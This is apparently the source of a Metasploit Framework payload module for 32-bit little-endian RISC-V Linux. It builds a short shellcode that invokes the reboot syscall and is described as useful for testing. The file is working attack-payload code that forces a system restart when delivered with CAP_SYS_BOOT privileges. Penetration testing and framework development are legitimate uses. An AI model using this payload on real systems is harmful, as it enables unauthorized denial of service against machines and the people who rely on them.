Path: blob/master/modules/payloads/singles/linux/riscv32le/reboot.rb
27077 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 3278include Msf::Payload::Single910def initialize(info = {})11super(12merge_info(13info,14'Name' => 'Linux Reboot',15'Description' => %q{16A very small shellcode for rebooting the system using17the reboot syscall. This payload is sometimes helpful18for testing purposes. Requires CAP_SYS_BOOT privileges.19},20'Author' => 'bcoles',21'License' => MSF_LICENSE,22'Platform' => 'linux',23'Arch' => ARCH_RISCV32LE,24'References' => [25['URL', 'https://man7.org/linux/man-pages/man2/reboot.2.html'],26['URL', 'https://github.com/bcoles/shellcode/blob/main/riscv32/reboot/reboot.s'],27]28)29)30end3132def generate(_opts = {})33shellcode =34[0xfee1e537].pack('V*') + # lui a0,0xfee1e35[0xead50513].pack('V*') + # addi a0,a0,-33936[0x281225b7].pack('V*') + # lui a1,0x281237[0x96958593].pack('V*') + # addi a1,a1,-168738[0x01234637].pack('V*') + # lui a2,0x123439[0x56760613].pack('V*') + # addi a2,a2,138340[0x08e00893].pack('V*') + # li a7,14241[0x00000073].pack('V*') # ecall4243super.to_s + shellcode44end45end464748